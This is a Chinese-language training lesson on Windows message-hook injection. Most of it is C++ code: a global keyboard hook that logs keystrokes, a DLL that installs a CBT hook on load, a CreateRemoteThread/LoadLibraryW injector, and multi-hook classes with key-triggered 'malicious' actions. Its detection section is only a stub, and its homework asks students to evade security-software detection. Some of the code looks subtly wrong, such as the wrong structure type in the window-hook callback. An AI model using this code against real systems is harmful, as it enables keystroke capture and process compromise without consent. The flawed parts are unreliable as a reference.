Inject专题
3、消息钩子注入
1、课程目标
- 理解Windows消息钩子机制
- 掌握SetWindowsHookEx API的使用方法
- 实现基于消息钩子的代码注入技术
- 了解该技术的检测与防护方法
2、名词解释
| 术语 | 全称 | 解释 |
|---|---|---|
| Windows Hook | Windows钩子 | 拦截系统消息的机制 |
| SetWindowsHookEx | - | 安装钩子的Windows API |
| WH_KEYBOARD_LL | Low-Level Keyboard Hook | 低级键盘钩子 |
| WH_MOUSE_LL | Low-Level Mouse Hook | 低级鼠标钩子 |
| WH_CALLWNDPROC | - | 窗口过程调用钩子 |
| HOOKPROC | - | 钩子过程回调函数指针 |
3、技术原理
1. Windows消息钩子概述
Windows消息钩子是一种允许应用程序监视和拦截系统消息的机制。通过安装钩子,应用程序可以捕获在系统中传递的各种消息,包括键盘输入、鼠标移动、窗口消息等。
消息钩子工作原理:
┌─────────────────────────────────────────────────────────────┐
│ 钩子安装者 │
│ 1. SetWindowsHookEx() 安装钩子到系统 │
├─────────────────────────────────────────────────────────────┤
│ 2. 系统维护全局钩子链表 │
├─────────────────────────────────────────────────────────────┤
│ 3. 钩子过程函数作为回调执行 │
└─────────────────────────────────────────────────────────────┘
消息传递流程:
应用程序1 → 系统消息队列 → 钩子1 → 钩子2 → ... → 钩子N → 目标窗口过程
↑
钩子回调执行
当有消息产生时:
1. 系统检查是否有相关的全局钩子
2. 按照安装顺序依次调用钩子过程
3. 最后传递给目标窗口过程
2. 钩子类型详解
2.1 键盘钩子
- WH_KEYBOARD_LL: 低级键盘钩子,可以捕获所有键盘输入
- WH_KEYBOARD: 标准键盘钩子,只能捕获当前线程的键盘消息
2.2 鼠标钩子
- WH_MOUSE_LL: 低级鼠标钩子,可以捕获所有鼠标输入
- WH_MOUSE: 标准鼠标钩子,只能捕获当前线程的鼠标消息
2.3 窗口钩子
- WH_CALLWNDPROC: 在系统向窗口过程发送消息之前调用
- WH_CALLWNDPROCRET: 在窗口过程处理完消息后调用
- WH_GETMESSAGE: 在 GetMessage 或 PeekMessage 从消息队列获取消息时调用
3. 核心API详解
3.1 SetWindowsHookEx
HHOOK SetWindowsHookExA(
int idHook, // 钩子类型
HOOKPROC lpfn, // 钩子过程回调函数
HINSTANCE hmod, // 实例句柄
DWORD dwThreadId // 线程ID
);
参数说明:
- idHook: 钩子类型(如WH_KEYBOARD_LL)
- lpfn: 钩子回调函数地址
- hmod: DLL实例句柄(全局钩子必须为DLL)
- dwThreadId: 线程ID(0表示全局钩子)
3.2 CallNextHookEx
LRESULT CallNextHookEx(
HHOOK hhk, // 钩子句柄
int nCode, // 钩子代码
WPARAM wParam, // 消息参数
LPARAM lParam // 消息参数
);
必须调用此函数将消息传递给链中的下一个钩子。
4、代码实现
1. 基础键盘钩子注入
// hook_injection.cpp
// 消息钩子注入实现
#include <windows.h>
#include <stdio.h>
//=============================================================================
// 方法1: 基础键盘钩子注入
//=============================================================================
HHOOK g_hKeyboardHook = NULL;
// 键盘钩子回调函数
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0) {
KBDLLHOOKSTRUCT* pKeyInfo = (KBDLLHOOKSTRUCT*)lParam;
// 记录按键信息(这里可以执行恶意代码)
if (wParam == WM_KEYDOWN) {
// 简单示例:当按下F12时执行代码
if (pKeyInfo->vkCode == VK_F12) {
printf("[HOOK] F12 pressed - executing payload...\n");
// 这里可以执行任意代码
// 例如弹出消息框、下载文件等
MessageBoxA(NULL, "Hook payload executed!", "Info", MB_OK);
}
}
}
// 传递给下一个钩子
return CallNextHookEx(g_hKeyboardHook, nCode, wParam, lParam);
}
// 安装键盘钩子
BOOL InstallKeyboardHook() {
printf("[*] Installing low-level keyboard hook\n");
g_hKeyboardHook = SetWindowsHookExA(
WH_KEYBOARD_LL,
LowLevelKeyboardProc,
GetModuleHandleA(NULL), // 当前线程实例
0 // 全局钩子
);
if (!g_hKeyboardHook) {
printf("[-] SetWindowsHookExA failed: %lu\n", GetLastError());
return FALSE;
}
printf("[+] Keyboard hook installed successfully\n");
return TRUE;
}
// 卸载键盘钩子
void UninstallKeyboardHook() {
if (g_hKeyboardHook) {
UnhookWindowsHookEx(g_hKeyboardHook);
g_hKeyboardHook = NULL;
printf("[+] Keyboard hook uninstalled\n");
}
}
// 消息循环
void MessageLoop() {
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
2. DLL注入方式的钩子
//=============================================================================
// 方法2: DLL注入实现钩子注入
// 这种方式更适合跨进程注入
//=============================================================================
// evil_hook.dll 的主文件
// evil_hook.cpp
#include <windows.h>
HHOOK g_hHook = NULL;
// 钩子过程函数
LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HCBT_CREATEWND) {
// 当有窗口创建时执行
printf("[DLL HOOK] Window created\n");
// 执行恶意代码
// 例如注入到新创建的进程中
}
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
// DLL入口点
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
DisableThreadLibraryCalls(hModule);
// 安装钩子
g_hHook = SetWindowsHookExA(WH_CBT, CBTProc, hModule, 0);
if (g_hHook) {
printf("[DLL] Hook installed\n");
}
break;
case DLL_PROCESS_DETACH:
if (g_hHook) {
UnhookWindowsHookEx(g_hHook);
}
break;
}
return TRUE;
}
// 导出函数:供注入者调用
extern "C" __declspec(dllexport) void StartHook() {
// 钩子已经在DllMain中安装
}
3. 完整的钩子注入示例
//=============================================================================
// 方法3: 完整的消息钩子注入实现
//=============================================================================
// 注入器程序
class HookInjector {
private:
DWORD m_targetPid;
HHOOK m_hHook;
public:
HookInjector(DWORD targetPid) : m_targetPid(targetPid), m_hHook(NULL) {}
// 通过DLL注入安装钩子
BOOL InjectViaDll(const wchar_t* dllPath) {
printf("[*] Injecting hook via DLL to PID: %lu\n", m_targetPid);
// 1. 打开目标进程
HANDLE hProcess = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD,
FALSE,
m_targetPid
);
if (!hProcess) {
printf("[-] OpenProcess failed: %lu\n", GetLastError());
return FALSE;
}
// 2. 在目标进程中分配内存存储DLL路径
size_t dllPathLen = (wcslen(dllPath) + 1) * sizeof(wchar_t);
LPVOID remoteDllPath = VirtualAllocEx(
hProcess,
NULL,
dllPathLen,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (!remoteDllPath) {
CloseHandle(hProcess);
return FALSE;
}
// 3. 写入DLL路径
if (!WriteProcessMemory(hProcess, remoteDllPath, dllPath, dllPathLen, NULL)) {
VirtualFreeEx(hProcess, remoteDllPath, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
// 4. 获取LoadLibraryW地址
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
LPTHREAD_START_ROUTINE pLoadLibrary =
(LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, "LoadLibraryW");
// 5. 创建远程线程加载DLL
HANDLE hThread = CreateRemoteThread(
hProcess,
NULL,
0,
pLoadLibrary,
remoteDllPath,
0,
NULL
);
if (!hThread) {
VirtualFreeEx(hProcess, remoteDllPath, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
// 6. 等待DLL加载完成
WaitForSingleObject(hThread, INFINITE);
// 7. 清理
CloseHandle(hThread);
VirtualFreeEx(hProcess, remoteDllPath, 0, MEM_RELEASE);
CloseHandle(hProcess);
printf("[+] DLL injected successfully\n");
return TRUE;
}
// 直接钩子注入(适用于同进程)
BOOL DirectHookInjection() {
printf("[*] Installing direct hook\n");
m_hHook = SetWindowsHookExA(
WH_GETMESSAGE,
(HOOKPROC)HookProcedure,
GetModuleHandleA(NULL),
0
);
if (!m_hHook) {
printf("[-] SetWindowsHookExA failed: %lu\n", GetLastError());
return FALSE;
}
printf("[+] Direct hook installed\n");
return TRUE;
}
// 钩子过程函数
static LRESULT CALLBACK HookProcedure(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0) {
// 处理消息
MSG* pMsg = (MSG*)lParam;
// 示例:拦截特定消息
if (pMsg->message == WM_LBUTTONDOWN) {
printf("[HOOK] Mouse left button clicked at (%ld, %ld)\n",
LOWORD(pMsg->lParam), HIWORD(pMsg->lParam));
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
// 卸载钩子
void UninstallHook() {
if (m_hHook) {
UnhookWindowsHookEx(m_hHook);
m_hHook = NULL;
}
}
};
// 使用示例
void DemonstrateHookInjection() {
printf("========================================\n");
printf(" Hook Injection Demo \n");
printf("========================================\n\n");
// 示例1: 直接钩子注入
HookInjector injector(0); // 0表示当前进程
if (injector.DirectHookInjection()) {
printf("[*] Running message loop for 10 seconds...\n");
// 运行消息循环一段时间
MSG msg;
DWORD startTime = GetTickCount();
while (GetTickCount() - startTime < 10000) {
if (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
Sleep(10);
}
injector.UninstallHook();
}
}
4. 高级钩子技术
//=============================================================================
// 方法4: 多类型钩子组合注入
//=============================================================================
class AdvancedHookInjector {
private:
HHOOK m_keyboardHook;
HHOOK m_mouseHook;
HHOOK m_windowHook;
public:
AdvancedHookInjector() : m_keyboardHook(NULL), m_mouseHook(NULL), m_windowHook(NULL) {}
// 安装多种类型的钩子
BOOL InstallMultipleHooks() {
printf("[*] Installing multiple hooks\n");
// 安装键盘钩子
m_keyboardHook = SetWindowsHookExA(
WH_KEYBOARD_LL,
KeyboardHookProc,
GetModuleHandleA(NULL),
0
);
if (!m_keyboardHook) {
printf("[-] Failed to install keyboard hook\n");
return FALSE;
}
// 安装鼠标钩子
m_mouseHook = SetWindowsHookExA(
WH_MOUSE_LL,
MouseHookProc,
GetModuleHandleA(NULL),
0
);
if (!m_mouseHook) {
printf("[-] Failed to install mouse hook\n");
UnhookWindowsHookEx(m_keyboardHook);
return FALSE;
}
// 安装窗口钩子
m_windowHook = SetWindowsHookExA(
WH_CALLWNDPROC,
WindowHookProc,
GetModuleHandleA(NULL),
0
);
if (!m_windowHook) {
printf("[-] Failed to install window hook\n");
UnhookWindowsHookEx(m_keyboardHook);
UnhookWindowsHookEx(m_mouseHook);
return FALSE;
}
printf("[+] All hooks installed successfully\n");
return TRUE;
}
// 键盘钩子过程
static LRESULT CALLBACK KeyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0) {
KBDLLHOOKSTRUCT* pKeyInfo = (KBDLLHOOKSTRUCT*)lParam;
if (wParam == WM_KEYDOWN) {
// 记录按键
char keyName[256] = {0};
GetKeyNameTextA(pKeyInfo->scanCode << 16, keyName, sizeof(keyName));
printf("[KEYBOARD] %s pressed\n", keyName);
// 特定按键触发恶意行为
if (pKeyInfo->vkCode == VK_F11) {
// 执行恶意代码
ShellExecuteA(NULL, "open", "calc.exe", NULL, NULL, SW_SHOWNORMAL);
}
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
// 鼠标钩子过程
static LRESULT CALLBACK MouseHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0) {
MSLLHOOKSTRUCT* pMouseInfo = (MSLLHOOKSTRUCT*)lParam;
switch (wParam) {
case WM_LBUTTONDOWN:
printf("[MOUSE] Left button clicked at (%ld, %ld)\n",
pMouseInfo->pt.x, pMouseInfo->pt.y);
break;
case WM_RBUTTONDOWN:
printf("[MOUSE] Right button clicked at (%ld, %ld)\n",
pMouseInfo->pt.x, pMouseInfo->pt.y);
break;
case WM_MOUSEWHEEL:
printf("[MOUSE] Wheel rotated\n");
break;
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
// 窗口钩子过程
static LRESULT CALLBACK WindowHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0) {
CWPRETSTRUCT* pCwp = (CWPRETSTRUCT*)lParam;
switch (pCwp->message) {
case WM_CREATE:
printf("[WINDOW] Window created: HWND=%p\n", pCwp->hwnd);
break;
case WM_DESTROY:
printf("[WINDOW] Window destroyed: HWND=%p\n", pCwp->hwnd);
break;
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
// 卸载所有钩子
void UninstallAllHooks() {
if (m_keyboardHook) {
UnhookWindowsHookEx(m_keyboardHook);
m_keyboardHook = NULL;
}
if (m_mouseHook) {
UnhookWindowsHookEx(m_mouseHook);
m_mouseHook = NULL;
}
if (m_windowHook) {
UnhookWindowsHookEx(m_windowHook);
m_windowHook = NULL;
}
printf("[+] All hooks uninstalled\n");
}
};
5、检测与防护
1. 常见检测方法
| 检测方式 | 原理 | 绕过难度 |
|---|---|---|
| 钩子监控 | 监控SetWindowsHookEx调用 | 中 |
| DLL注入检测 | 检测异常的DLL加载 | 高 |
| 消息流分析 | 分析异常的消息处理模式 | 中 |
| 进程行为监控 | 监控进程间的异常交互 | 高 |
2. 防护措施
// 钩子检测示例
#include <windows.h>
#include <tlhelp32.h>
// 检测全局钩子
BOOL DetectGlobalHooks() {
// 枚举所有线程
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return FALSE;
}
THREADENTRY32 te = { sizeof(THREADENTRY32) };
DWORD currentPid = GetCurrentProcessId();
if (Thread32First(hSnapshot, &te)) {
do {
// 检查非当前进程的线程是否安装了钩子
if (te.th32OwnerProcessID != currentPid) {
// 获取线程信息
HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION, FALSE, te.th32ThreadID);
if (hThread) {
// 这里可以检查线程是否有关联的钩子
// 实际实现需要更复杂的检测机制
CloseHandle(hThread);
}
}
} while (Thread32Next(hSnapshot, &te));
}
CloseHandle(hSnapshot);
return FALSE; // 简化实现
}
// 防护钩子注入
void ProtectAgainstHookInjection() {
// 1. 监控SetWindowsHookEx调用
// 2. 检测异常的DLL加载
// 3. 验证钩子链的完整性
printf("[PROTECTION] Hook injection protection initialized\n");
}
3、课后作业
3.1、作业1:实现鼠标钩子注入
扩展代码,实现基于鼠标钩子的注入技术,当用户执行特定鼠标操作时触发恶意代码。
3.2、作业2:实现窗口钩子注入
研究WH_CALLWNDPROC钩子,实现基于窗口消息的注入技术。
3.3、作业3:绕过钩子检测
研究如何绕过安全软件对钩子注入的检测,实现更隐蔽的注入。
4、参考资料
- Windows Internals, Part 1: System architecture, processes, threads, memory management
- 《Windows核心编程》- Jeffrey Richter
- MSDN文档: SetWindowsHookEx, CallNextHookEx, UnhookWindowsHookEx
- 《恶意代码分析实战》- Michael Sikorski & Andrew Honig